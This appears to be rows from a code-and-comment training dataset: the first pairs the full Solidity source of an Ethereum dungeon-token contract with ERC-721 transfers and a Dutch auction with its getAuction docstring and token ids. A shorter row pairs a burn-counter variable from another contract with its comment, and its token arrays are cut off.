file_name
stringlengths
71
779k
comments
stringlengths
20
182k
code_string
stringlengths
20
36.9M
__index_level_0__
int64
0
17.2M
input_ids
list
attention_mask
list
labels
list
//Address: 0xc99f359f73626e475ee86caab459a4b34ae93fea //Contract name: DungeonTokenAuction //Balance: 0 Ether //Verification Date: 3/10/2018 //Transacion Count: 9 // CODE STARTS HERE pragma solidity ^0.4.19; /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function Ownable() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) onlyOwner public { require(newOwner != address(0)); OwnershipTransferred(owner, newOwner); owner = newOwner; } } /** * @title JointOwnable * @dev Extension for the Ownable contract, where the owner can assign at most 2 other addresses * to manage some functions of the contract, using the eitherOwner modifier. * Note that onlyOwner modifier would still be accessible only for the original owner. */ contract JointOwnable is Ownable { event AnotherOwnerAssigned(address indexed anotherOwner); address public anotherOwner1; address public anotherOwner2; /** * @dev Throws if called by any account other than the owner or anotherOwner. */ modifier eitherOwner() { require(msg.sender == owner || msg.sender == anotherOwner1 || msg.sender == anotherOwner2); _; } /** * @dev Allows the current owner to assign another owner. * @param _anotherOwner The address to another owner. */ function assignAnotherOwner1(address _anotherOwner) onlyOwner public { require(_anotherOwner != 0); AnotherOwnerAssigned(_anotherOwner); anotherOwner1 = _anotherOwner; } /** * @dev Allows the current owner to assign another owner. * @param _anotherOwner The address to another owner. */ function assignAnotherOwner2(address _anotherOwner) onlyOwner public { require(_anotherOwner != 0); AnotherOwnerAssigned(_anotherOwner); anotherOwner2 = _anotherOwner; } } /** * @title Pausable * @dev Base contract which allows children to implement an emergency stop mechanism. */ contract Pausable is Ownable { event Pause(); event Unpause(); bool public paused = false; /** * @dev Modifier to make a function callable only when the contract is not paused. */ modifier whenNotPaused() { require(!paused); _; } /** * @dev Modifier to make a function callable only when the contract is paused. */ modifier whenPaused() { require(paused); _; } /** * @dev called by the owner to pause, triggers stopped state */ function pause() onlyOwner whenNotPaused public { paused = true; Pause(); } /** * @dev called by the owner to unpause, returns to normal state */ function unpause() onlyOwner whenPaused public { paused = false; Unpause(); } } /** * @title Interface for contracts conforming to ERC-721: Non-Fungible Tokens. */ contract ERC721 { // Events event Transfer(address indexed from, address indexed to, uint indexed tokenId); event Approval(address indexed owner, address indexed approved, uint indexed tokenId); // ERC20 compatible functions. // function name() public constant returns (string); // function symbol() public constant returns (string); function totalSupply() public view returns (uint); function balanceOf(address _owner) public view returns (uint); // Functions that define ownership. function ownerOf(uint _tokenId) external view returns (address); function transfer(address _to, uint _tokenId) external; // Approval related functions, mainly used in auction contracts. function approve(address _to, uint _tokenId) external; function approvedFor(uint _tokenId) external view returns (address); function transferFrom(address _from, address _to, uint _tokenId) external; /** * @dev Each non-fungible token owner can own more than one token at one time. * Because each token is referenced by its unique ID, however, * it can get difficult to keep track of the individual tokens that a user may own. * To do this, the contract keeps a record of the IDs of each token that each user owns. */ mapping(address => uint[]) public ownerTokens; } /** * @title The ERC-721 compliance token contract. */ contract ERC721Token is ERC721, Pausable { /* ======== STATE VARIABLES ======== */ /** * @dev A mapping from token IDs to the address that owns them. */ mapping(uint => address) tokenIdToOwner; /** * @dev A mapping from token ids to an address that has been approved to call * transferFrom(). Each token can only have one approved address for transfer * at any time. A zero value means no approval is outstanding. */ mapping (uint => address) tokenIdToApproved; /** * @dev A mapping from token ID to index of the ownerTokens' tokens list. */ mapping(uint => uint) tokenIdToOwnerTokensIndex; /* ======== PUBLIC/EXTERNAL FUNCTIONS ======== */ /** * @dev Returns the number of tokens owned by a specific address. * @param _owner The owner address to check. */ function balanceOf(address _owner) public view returns (uint) { return ownerTokens[_owner].length; } /** * @dev Returns the address currently assigned ownership of a given token. */ function ownerOf(uint _tokenId) external view returns (address) { require(tokenIdToOwner[_tokenId] != address(0)); return tokenIdToOwner[_tokenId]; } /** * @dev Returns the approved address of a given token. */ function approvedFor(uint _tokenId) external view returns (address) { return tokenIdToApproved[_tokenId]; } /** * @dev Get an array of IDs of each token that an user owns. */ function getOwnerTokens(address _owner) external view returns(uint[]) { return ownerTokens[_owner]; } /** * @dev External function to transfers a token to another address. * @param _to The address of the recipient, can be a user or contract. * @param _tokenId The ID of the token to transfer. */ function transfer(address _to, uint _tokenId) whenNotPaused external { // Safety check to prevent against an unexpected 0x0 default. require(_to != address(0)); // Disallow transfers to this contract to prevent accidental misuse. require(_to != address(this)); // You can only send your own token. require(_owns(msg.sender, _tokenId)); // Reassign ownership, clear pending approvals, emit Transfer event. _transfer(msg.sender, _to, _tokenId); } /** * @dev Grant another address the right to transfer a specific Kitty via * transferFrom(). This is the preferred flow for transfering NFTs to contracts. * @param _to The address to be granted transfer approval. Pass address(0) to * clear all approvals. * @param _tokenId The ID of the Kitty that can be transferred if this call succeeds. */ function approve(address _to, uint _tokenId) whenNotPaused external { // Only an owner can grant transfer approval. require(_owns(msg.sender, _tokenId)); // Register the approval (replacing any previous approval). _approve(_tokenId, _to); // Emit approval event. Approval(msg.sender, _to, _tokenId); } /** * @dev Transfer a Kitty owned by another address, for which the calling address * has previously been granted transfer approval by the owner. * @param _from The address that owns the Kitty to be transfered. * @param _to The address that should take ownership of the Kitty. Can be any address, * including the caller. * @param _tokenId The ID of the Kitty to be transferred. */ function transferFrom(address _from, address _to, uint _tokenId) whenNotPaused external { // Safety check to prevent against an unexpected 0x0 default. require(_to != address(0)); // Check for approval and valid ownership require(tokenIdToApproved[_tokenId] == msg.sender); require(_owns(_from, _tokenId)); // Reassign ownership (also clears pending approvals and emits Transfer event). _transfer(_from, _to, _tokenId); } /* ======== INTERNAL/PRIVATE FUNCTIONS ======== */ /** * @dev Assigns ownership of a specific token to an address. */ function _transfer(address _from, address _to, uint _tokenId) internal { // Step 1: Remove token from _form address. // When creating new token, _from is 0x0. if (_from != address(0)) { uint[] storage fromTokens = ownerTokens[_from]; uint tokenIndex = tokenIdToOwnerTokensIndex[_tokenId]; // Put the last token to the transferred token index and update its index in ownerTokensIndexes. uint lastTokenId = fromTokens[fromTokens.length - 1]; // Do nothing if the transferring token is the last item. if (_tokenId != lastTokenId) { fromTokens[tokenIndex] = lastTokenId; tokenIdToOwnerTokensIndex[lastTokenId] = tokenIndex; } fromTokens.length--; } // Step 2: Add token to _to address. // Transfer ownership. tokenIdToOwner[_tokenId] = _to; // Add the _tokenId to ownerTokens[_to] and remember the index in ownerTokensIndexes. tokenIdToOwnerTokensIndex[_tokenId] = ownerTokens[_to].length; ownerTokens[_to].push(_tokenId); // Emit the Transfer event. Transfer(_from, _to, _tokenId); } /** * @dev Marks an address as being approved for transferFrom(), overwriting any previous * approval. Setting _approved to address(0) clears all transfer approval. */ function _approve(uint _tokenId, address _approved) internal { tokenIdToApproved[_tokenId] = _approved; } /* ======== MODIFIERS ======== */ /** * @dev Throws if _dungeonId is not created yet. */ modifier tokenExists(uint _tokenId) { require(_tokenId < totalSupply()); _; } /** * @dev Checks if a given address is the current owner of a particular token. * @param _claimant The address we are validating against. * @param _tokenId Token ID */ function _owns(address _claimant, uint _tokenId) internal view returns (bool) { return tokenIdToOwner[_tokenId] == _claimant; } } contract EDStructs { /** * @dev The main Dungeon struct. Every dungeon in the game is represented by this structure. * A dungeon is consists of an unlimited number of floors for your heroes to challenge, * the power level of a dungeon is encoded in the floorGenes. Some dungeons are in fact more "challenging" than others, * the secret formula for that is left for user to find out. * * Each dungeon also has a "training area", heroes can perform trainings and upgrade their stat, * and some dungeons are more effective in the training, which is also a secret formula! * * When player challenge or do training in a dungeon, the fee will be collected as the dungeon rewards, * which will be rewarded to the player who successfully challenged the current floor. * * Each dungeon fits in fits into three 256-bit words. */ struct Dungeon { // Each dungeon has an ID which is the index in the storage array. // The timestamp of the block when this dungeon is created. uint32 creationTime; // The status of the dungeon, each dungeon can have 5 status, namely: // 0: Active | 1: Transport Only | 2: Challenge Only | 3: Train Only | 4: InActive uint8 status; // The dungeon's difficulty, the higher the difficulty, // normally, the "rarer" the seedGenes, the higher the diffculty, // and the higher the contribution fee it is to challenge, train, and transport to the dungeon, // the formula for the contribution fee is in DungeonChallenge and DungeonTraining contracts. // A dungeon's difficulty never change. uint8 difficulty; // The dungeon's capacity, maximum number of players allowed to stay on this dungeon. // The capacity of the newbie dungeon (Holyland) is set at 0 (which is infinity). // Using 16-bit unsigned integers can have a maximum of 65535 in capacity. // A dungeon's capacity never change. uint16 capacity; // The current floor number, a dungeon is consists of an umlimited number of floors, // when there is heroes successfully challenged a floor, the next floor will be // automatically generated. Using 32-bit unsigned integer can have a maximum of 4 billion floors. uint32 floorNumber; // The timestamp of the block when the current floor is generated. uint32 floorCreationTime; // Current accumulated rewards, successful challenger will get a large proportion of it. uint128 rewards; // The seed genes of the dungeon, it is used as the base gene for first floor, // some dungeons are rarer and some are more common, the exact details are, // of course, top secret of the game! // A dungeon's seedGenes never change. uint seedGenes; // The genes for current floor, it encodes the difficulty level of the current floor. // We considered whether to store the entire array of genes for all floors, but // in order to save some precious gas we're willing to sacrifice some functionalities with that. uint floorGenes; } /** * @dev The main Hero struct. Every hero in the game is represented by this structure. */ struct Hero { // Each hero has an ID which is the index in the storage array. // The timestamp of the block when this dungeon is created. uint64 creationTime; // The timestamp of the block where a challenge is performed, used to calculate when a hero is allowed to engage in another challenge. uint64 cooldownStartTime; // Every time a hero challenge a dungeon, its cooldown index will be incremented by one. uint32 cooldownIndex; // The seed of the hero, the gene encodes the power level of the hero. // This is another top secret of the game! Hero's gene can be upgraded via // training in a dungeon. uint genes; } } contract DungeonTokenInterface is ERC721, EDStructs { /** * @notice Limits the number of dungeons the contract owner can ever create. */ uint public constant DUNGEON_CREATION_LIMIT = 1024; /** * @dev Name of token. */ string public constant name = "Dungeon"; /** * @dev Symbol of token. */ string public constant symbol = "DUNG"; /** * @dev An array containing the Dungeon struct, which contains all the dungeons in existance. * The ID for each dungeon is the index of this array. */ Dungeon[] public dungeons; /** * @dev The external function that creates a new dungeon and stores it, only contract owners * can create new token, and will be restricted by the DUNGEON_CREATION_LIMIT. * Will generate a Mint event, a NewDungeonFloor event, and a Transfer event. */ function createDungeon(uint _difficulty, uint _capacity, uint _floorNumber, uint _seedGenes, uint _floorGenes, address _owner) external returns (uint); /** * @dev The external function to set dungeon status by its ID, * refer to DungeonStructs for more information about dungeon status. * Only contract owners can alter dungeon state. */ function setDungeonStatus(uint _id, uint _newStatus) external; /** * @dev The external function to add additional dungeon rewards by its ID, * only contract owners can alter dungeon state. */ function addDungeonRewards(uint _id, uint _additinalRewards) external; /** * @dev The external function to add another dungeon floor by its ID, * only contract owners can alter dungeon state. */ function addDungeonNewFloor(uint _id, uint _newRewards, uint _newFloorGenes) external; } /** * @title The ERC-721 compliance token contract for the Dungeon tokens. * @dev See the DungeonStructs contract to see the details of the Dungeon token data structure. */ contract DungeonToken is DungeonTokenInterface, ERC721Token, JointOwnable { /* ======== EVENTS ======== */ /** * @dev The Mint event is fired whenever a new dungeon is created. */ event Mint(address indexed owner, uint newTokenId, uint difficulty, uint capacity, uint seedGenes); /* ======== PUBLIC/EXTERNAL FUNCTIONS ======== */ /** * @dev Returns the total number of tokens currently in existence. */ function totalSupply() public view returns (uint) { return dungeons.length; } /** * @dev The external function that creates a new dungeon and stores it, only contract owners * can create new token, and will be restricted by the DUNGEON_CREATION_LIMIT. * Will generate a Mint event, a NewDungeonFloor event, and a Transfer event. * @param _difficulty The difficulty of the new dungeon. * @param _capacity The capacity of the new dungeon. * @param _floorNumber The initial floor number of the new dungeon. * @param _seedGenes The seed genes of the new dungeon. * @param _floorGenes The initial genes of the dungeon floor. * @return The dungeon ID of the new dungeon. */ function createDungeon(uint _difficulty, uint _capacity, uint _floorNumber, uint _seedGenes, uint _floorGenes, address _owner) eitherOwner external returns (uint) { return _createDungeon(_difficulty, _capacity, _floorNumber, 0, _seedGenes, _floorGenes, _owner); } /** * @dev The external function to set dungeon status by its ID, * refer to DungeonStructs for more information about dungeon status. * Only contract owners can alter dungeon state. */ function setDungeonStatus(uint _id, uint _newStatus) eitherOwner tokenExists(_id) external { dungeons[_id].status = uint8(_newStatus); } /** * @dev The external function to add additional dungeon rewards by its ID, * only contract owners can alter dungeon state. */ function addDungeonRewards(uint _id, uint _additinalRewards) eitherOwner tokenExists(_id) external { dungeons[_id].rewards += uint128(_additinalRewards); } /** * @dev The external function to add another dungeon floor by its ID, * only contract owners can alter dungeon state. */ function addDungeonNewFloor(uint _id, uint _newRewards, uint _newFloorGenes) eitherOwner tokenExists(_id) external { Dungeon storage dungeon = dungeons[_id]; dungeon.floorNumber++; dungeon.floorCreationTime = uint32(now); dungeon.rewards = uint128(_newRewards); dungeon.floorGenes = _newFloorGenes; } /* ======== PRIVATE/INTERNAL FUNCTIONS ======== */ function _createDungeon(uint _difficulty, uint _capacity, uint _floorNumber, uint _rewards, uint _seedGenes, uint _floorGenes, address _owner) private returns (uint) { // Ensure the total supply is within the fixed limit. require(totalSupply() < DUNGEON_CREATION_LIMIT); // ** STORAGE UPDATE ** // Create a new dungeon. dungeons.push(Dungeon(uint32(now), 0, uint8(_difficulty), uint16(_capacity), uint32(_floorNumber), uint32(now), uint128(_rewards), _seedGenes, _floorGenes)); // Token id is the index in the storage array. uint newTokenId = dungeons.length - 1; // Emit the token mint event. Mint(_owner, newTokenId, _difficulty, _capacity, _seedGenes); // This will assign ownership, and also emit the Transfer event. _transfer(0, _owner, newTokenId); return newTokenId; } /* ======== MIGRATION FUNCTIONS ======== */ /** * @dev Since the DungeonToken contract is re-deployed due to optimization. * We need to migrate all dungeons from Beta token contract to Version 1. */ function migrateDungeon(uint _difficulty, uint _capacity, uint _floorNumber, uint _rewards, uint _seedGenes, uint _floorGenes, address _owner) external { // Migration will be finished before maintenance period ends, tx.origin is used within a short period only. require(now < 1520694000 && tx.origin == 0x47169f78750Be1e6ec2DEb2974458ac4F8751714); _createDungeon(_difficulty, _capacity, _floorNumber, _rewards, _seedGenes, _floorGenes, _owner); } } /** * @title ERC721DutchAuction * @dev Dutch auction / Decreasing clock auction for ERC721 tokens. */ contract ERC721DutchAuction is Ownable, Pausable { /* ======== STRUCTS/ENUMS ======== */ // Represents an auction of an ERC721 token. struct Auction { // Current owner of the ERC721 token. address seller; // Price (in wei) at beginning of auction. uint128 startingPrice; // Price (in wei) at end of auction. uint128 endingPrice; // Duration (in seconds) of auction. uint64 duration; // Time when auction started. // NOTE: 0 if this auction has been concluded. uint64 startedAt; } /* ======== CONTRACTS ======== */ // Reference to contract tracking ERC721 token ownership. ERC721 public nonFungibleContract; /* ======== STATE VARIABLES ======== */ // Cut owner takes on each auction, measured in basis points (1/100 of a percent). // Values 0-10,000 map to 0%-100% uint public ownerCut; // Map from token ID to their corresponding auction. mapping (uint => Auction) tokenIdToAuction; /* ======== EVENTS ======== */ event AuctionCreated(uint timestamp, address indexed seller, uint indexed tokenId, uint startingPrice, uint endingPrice, uint duration); event AuctionSuccessful(uint timestamp, address indexed seller, uint indexed tokenId, uint totalPrice, address winner); event AuctionCancelled(uint timestamp, address indexed seller, uint indexed tokenId); /** * @dev Constructor creates a reference to the ERC721 token ownership contract and verifies the owner cut is in the valid range. * @param _tokenAddress - address of a deployed contract implementing the Nonfungible Interface. * @param _ownerCut - percent cut the owner takes on each auction, must be between 0-10,000. */ function ERC721DutchAuction(address _tokenAddress, uint _ownerCut) public { require(_ownerCut <= 10000); nonFungibleContract = ERC721(_tokenAddress); ownerCut = _ownerCut; } /* ======== PUBLIC/EXTERNAL FUNCTIONS ======== */ /** * @dev Bids on an open auction, completing the auction and transferring * ownership of the token if enough Ether is supplied. * @param _tokenId - ID of token to bid on. */ function bid(uint _tokenId) whenNotPaused external payable { // _bid will throw if the bid or funds transfer fails. _bid(_tokenId, msg.value); // Transfers the token owned by this contract to another address. It will throw if transfer fails. nonFungibleContract.transfer(msg.sender, _tokenId); } /** * @dev Cancels an auction that hasn't been won yet. Returns the token to original owner. * @notice This is a state-modifying function that can be called while the contract is paused. * @param _tokenId - ID of token on auction */ function cancelAuction(uint _tokenId) external { Auction storage auction = tokenIdToAuction[_tokenId]; require(_isOnAuction(auction)); address seller = auction.seller; require(msg.sender == seller); _cancelAuction(_tokenId, seller); } /** * @dev Cancels an auction when the contract is paused. * Only the owner may do this, and tokens are returned to * the seller. This should only be used in emergencies. * @param _tokenId - ID of the token on auction to cancel. */ function cancelAuctionWhenPaused(uint _tokenId) whenPaused onlyOwner external { Auction storage auction = tokenIdToAuction[_tokenId]; require(_isOnAuction(auction)); _cancelAuction(_tokenId, auction.seller); } /** * @dev Remove all Ether from the contract, which is the owner's cuts * as well as any Ether sent directly to the contract address. */ function withdrawBalance() onlyOwner external { msg.sender.transfer(this.balance); } /** * @dev Returns auction info for an token on auction. * @param _tokenId - ID of token on auction. */ function getAuction(uint _tokenId) external view returns ( address seller, uint startingPrice, uint endingPrice, uint duration, uint startedAt ) { Auction storage auction = tokenIdToAuction[_tokenId]; require(_isOnAuction(auction)); return ( auction.seller, auction.startingPrice, auction.endingPrice, auction.duration, auction.startedAt ); } /** * @dev Returns the current price of an auction. * @param _tokenId - ID of the token price we are checking. */ function getCurrentPrice(uint _tokenId) external view returns (uint) { Auction storage auction = tokenIdToAuction[_tokenId]; require(_isOnAuction(auction)); return _computeCurrentPrice(auction); } /* ======== INTERNAL/PRIVATE FUNCTIONS ======== */ /** * @dev Creates and begins a new auction. Perform all the checkings necessary. * @param _tokenId - ID of token to auction, sender must be owner. * @param _startingPrice - Price of item (in wei) at beginning of auction. * @param _endingPrice - Price of item (in wei) at end of auction. * @param _duration - Length of time to move between starting * price and ending price (in seconds). * @param _seller - Seller, if not the message sender */ function _createAuction( uint _tokenId, uint _startingPrice, uint _endingPrice, uint _duration, address _seller ) internal { // Sanity check that no inputs overflow how many bits we've allocated to store them in the auction struct. require(_startingPrice == uint(uint128(_startingPrice))); require(_endingPrice == uint(uint128(_endingPrice))); require(_duration == uint(uint64(_duration))); // If the token is already on any auction, this will throw // because it will be owned by the auction contract. require(nonFungibleContract.ownerOf(_tokenId) == msg.sender); // Throw if the _endingPrice is larger than _startingPrice. require(_startingPrice >= _endingPrice); // Require that all auctions have a duration of at least one minute. require(_duration >= 1 minutes); // Transfer the token from its owner to this contract. It will throw if transfer fails. nonFungibleContract.transferFrom(msg.sender, this, _tokenId); Auction memory auction = Auction( _seller, uint128(_startingPrice), uint128(_endingPrice), uint64(_duration), uint64(now) ); _addAuction(_tokenId, auction); } /** * @dev Adds an auction to the list of open auctions. Also fires the * AuctionCreated event. * @param _tokenId The ID of the token to be put on auction. * @param _auction Auction to add. */ function _addAuction(uint _tokenId, Auction _auction) internal { tokenIdToAuction[_tokenId] = _auction; AuctionCreated( now, _auction.seller, _tokenId, _auction.startingPrice, _auction.endingPrice, _auction.duration ); } /** * @dev Computes the price and transfers winnings. * Does NOT transfer ownership of token. */ function _bid(uint _tokenId, uint _bidAmount) internal returns (uint) { // Get a reference to the auction struct Auction storage auction = tokenIdToAuction[_tokenId]; // Explicitly check that this auction is currently live. // (Because of how Ethereum mappings work, we can't just count // on the lookup above failing. An invalid _tokenId will just // return an auction object that is all zeros.) require(_isOnAuction(auction)); // Check that the bid is greater than or equal to the current price uint price = _computeCurrentPrice(auction); require(_bidAmount >= price); // Grab a reference to the seller before the auction struct // gets deleted. address seller = auction.seller; // The bid is good! Remove the auction before sending the fees // to the sender so we can't have a reentrancy attack. _removeAuction(_tokenId); // Transfer proceeds to seller (if there are any!) if (price > 0) { // Calculate the auctioneer's cut. uint auctioneerCut = price * ownerCut / 10000; uint sellerProceeds = price - auctioneerCut; seller.transfer(sellerProceeds); } // Calculate any excess funds included with the bid. If the excess // is anything worth worrying about, transfer it back to bidder. // NOTE: We checked above that the bid amount is greater than or // equal to the price so this cannot underflow. uint bidExcess = _bidAmount - price; // Return the funds. Similar to the previous transfer, this is // not susceptible to a re-entry attack because the auction is // removed before any transfers occur. msg.sender.transfer(bidExcess); // Tell the world! AuctionSuccessful(now, seller, _tokenId, price, msg.sender); return price; } /** * @dev Cancels an auction unconditionally. */ function _cancelAuction(uint _tokenId, address _seller) internal { _removeAuction(_tokenId); // Transfers the token owned by this contract to its original owner. It will throw if transfer fails. nonFungibleContract.transfer(_seller, _tokenId); AuctionCancelled(now, _seller, _tokenId); } /** * @dev Removes an auction from the list of open auctions. * @param _tokenId - ID of token on auction. */ function _removeAuction(uint _tokenId) internal { delete tokenIdToAuction[_tokenId]; } /** * @dev Returns current price of an token on auction. Broken into two * functions (this one, that computes the duration from the auction * structure, and the other that does the price computation) so we * can easily test that the price computation works correctly. */ function _computeCurrentPrice(Auction storage _auction) internal view returns (uint) { uint secondsPassed = 0; // A bit of insurance against negative values (or wraparound). // Probably not necessary (since Ethereum guarnatees that the // now variable doesn't ever go backwards). if (now > _auction.startedAt) { secondsPassed = now - _auction.startedAt; } if (secondsPassed >= _auction.duration) { // We've reached the end of the dynamic pricing portion // of the auction, just return the end price. return _auction.endingPrice; } else { // Starting price can be higher than ending price (and often is!), so // this delta can be negative. int totalPriceChange = int(_auction.endingPrice) - int(_auction.startingPrice); // This multiplication can't overflow, _secondsPassed will easily fit within // 64-bits, and totalPriceChange will easily fit within 128-bits, their product // will always fit within 256-bits. int currentPriceChange = totalPriceChange * int(secondsPassed) / int(_auction.duration); // currentPriceChange can be negative, but if so, will have a magnitude // less that startingPrice. Thus, this result will always end up positive. int currentPrice = int(_auction.startingPrice) + currentPriceChange; return uint(currentPrice); } } /* ======== MODIFIERS ======== */ /** * @dev Returns true if the token is on auction. * @param _auction - Auction to check. */ function _isOnAuction(Auction storage _auction) internal view returns (bool) { return (_auction.startedAt > 0); } } contract DungeonTokenAuction is DungeonToken, ERC721DutchAuction { function DungeonTokenAuction(uint _ownerCut) ERC721DutchAuction(this, _ownerCut) public { } /** * @dev Creates and begins a new auction. * @param _tokenId - ID of token to auction, sender must be owner. * @param _startingPrice - Price of item (in wei) at beginning of auction. * @param _endingPrice - Price of item (in wei) at end of auction. * @param _duration - Length of time to move between starting price and ending price (in seconds). */ function createAuction( uint _tokenId, uint _startingPrice, uint _endingPrice, uint _duration ) whenNotPaused external { _approve(_tokenId, this); // This will perform all the checkings necessary. _createAuction(_tokenId, _startingPrice, _endingPrice, _duration, msg.sender); } }
* @dev Returns auction info for an token on auction. @param _tokenId - ID of token on auction./
function getAuction(uint _tokenId) external view returns ( address seller, uint startingPrice, uint endingPrice, uint duration, uint startedAt ) { Auction storage auction = tokenIdToAuction[_tokenId]; require(_isOnAuction(auction)); return ( auction.seller, auction.startingPrice, auction.endingPrice, auction.duration, auction.startedAt ); }
1,793,815
[ 1, 1356, 279, 4062, 1123, 364, 392, 1147, 603, 279, 4062, 18, 225, 389, 2316, 548, 300, 1599, 434, 1147, 603, 279, 4062, 18, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 4506, 4062, 12, 11890, 389, 2316, 548, 13, 3903, 1476, 1135, 261, 203, 3639, 1758, 29804, 16, 203, 3639, 2254, 5023, 5147, 16, 203, 3639, 2254, 11463, 5147, 16, 203, 3639, 2254, 3734, 16, 203, 3639, 2254, 5746, 861, 203, 565, 262, 288, 203, 3639, 432, 4062, 2502, 279, 4062, 273, 1147, 28803, 37, 4062, 63, 67, 2316, 548, 15533, 203, 3639, 2583, 24899, 291, 1398, 37, 4062, 12, 69, 4062, 10019, 203, 203, 3639, 327, 261, 203, 5411, 279, 4062, 18, 1786, 749, 16, 203, 5411, 279, 4062, 18, 18526, 5147, 16, 203, 5411, 279, 4062, 18, 2846, 5147, 16, 203, 5411, 279, 4062, 18, 8760, 16, 203, 5411, 279, 4062, 18, 14561, 861, 203, 3639, 11272, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./partial_match/1/0xBB8F3F39B86D4e326A1C6e90e6FceED36EF03329/sources/BUNNYGIRLS.sol
The number of tokens burned.
uint256 private _burnCounter;
2,812,711
[ 1, 1986, 1300, 434, 2430, 18305, 329, 18, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 3639, 2254, 5034, 3238, 389, 70, 321, 4789, 31, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, 